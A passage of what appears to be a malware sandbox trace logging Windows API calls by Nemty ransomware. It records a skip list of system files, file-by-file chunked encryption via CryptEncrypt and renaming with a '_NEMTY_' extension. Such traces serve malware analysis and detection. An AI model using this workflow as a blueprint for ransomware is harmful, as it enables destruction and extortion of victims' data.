lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.595] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.595] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0056.595] CloseHandle (hObject=0xffffffff) returned 0 [0056.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0056.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0056.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0056.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0056.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0056.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0056.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0056.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0056.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0056.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0056.595] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv._nemty_kgobjgd_")) returned 0 [0056.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0056.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0056.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0056.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0056.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0056.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0056.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0056.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0056.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0056.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.596] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2=".") returned 1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="..") returned 1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="...") returned 1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="windows") returned -1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="rsa") returned -1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="NTDETECT.COM") returned -1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="ntldr") returned -1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="MSDOS.SYS") returned -1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="IO.SYS") returned -1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="boot.ini") returned -1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="boot.ini") returned -1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="ntuser.dat") returned -1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="desktop.ini") returned -1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="CONFIG.SYS") returned -1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="RECYCLER") returned -1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="BOOTSECT.BAK") returned -1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="bootmgr") returned -1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="programdata") returned -1 [0056.596] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="appdata") returned 1 [0056.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bear_Formatted_MATTE2_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0056.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bear_Formatted_MATTE2_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bear_Formatted_MATTE2_PAL.wmv", lpUsedDefaultChar=0x0) returned 29 [0056.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0056.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bear_Formatted_MATTE2_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0056.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bear_Formatted_MATTE2_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bear_Formatted_MATTE2_PAL.wmv", lpUsedDefaultChar=0x0) returned 29 [0056.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0056.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0056.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bear_Formatted_MATTE2_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0056.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0056.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bear_Formatted_MATTE2_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bear_Formatted_MATTE2_PAL.wmv", lpUsedDefaultChar=0x0) returned 29 [0056.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bear_Formatted_MATTE2_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0056.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0056.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bear_Formatted_MATTE2_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x4f9ed08, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bear_Formatted_MATTE2_PAL.wmv", lpUsedDefaultChar=0x0) returned 29 [0056.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0056.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0056.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0056.597] Sleep (dwMilliseconds=0x5) [0056.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd563a290, dwHighDateTime=0x1d561e7)) [0056.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd563a290, dwHighDateTime=0x1d561e7)) [0056.610] GetLastError () returned 0x5 [0056.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0056.610] GetLastError () returned 0x5 [0056.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0056.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0056.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0056.610] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0056.611] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0056.611] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0056.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0056.611] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="Kugypdkl3E2CtJ1ktEetT9mnyGV/eOC1iAIUyi2ap9JyzfIFmtzpn7QyLkfb3ypF\r\nZy+vrTWQZa42gAp5o6Un36MxUYd7ZdDU/VVe3NvZDbLY5I/YRJm14hL53wdyCdS1\r\ncWyhC0aVJkVRs2BHqlR19lLgBPP1lq66712eua6O7TYzPIWFA+wpl3/tB7ZOkcZ9\r\nGPfrSIYnXKd4k8PSxNqX5DnCQ0MPHtJ2diUbSELXIDwUydZKS+0+PB09CfMhrrJa\r\nZA90+bifQqZQgKPvPNOfMwxamrhwbxjPJIoIZwflaBWmDpBoIn7HdNtxArttkVU2\r\nxtFUsc8ytf2ZYFeKgLNuDw==\r\n", pcchString=0x653e91c) returned 1 [0056.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340270 [0056.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0056.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0056.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0056.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0056.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403e8 [0056.611] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0056.611] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0056.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0056.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.611] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.621] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.621] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.631] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.640] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.640] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.650] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.659] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.659] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.669] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.678] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.678] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.688] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.688] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.697] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.697] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.707] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.707] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0056.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0056.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0056.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0056.719] CloseHandle (hObject=0xffffffff) returned 0 [0056.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0056.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0056.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0056.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0056.719] RtlAllocateHeap 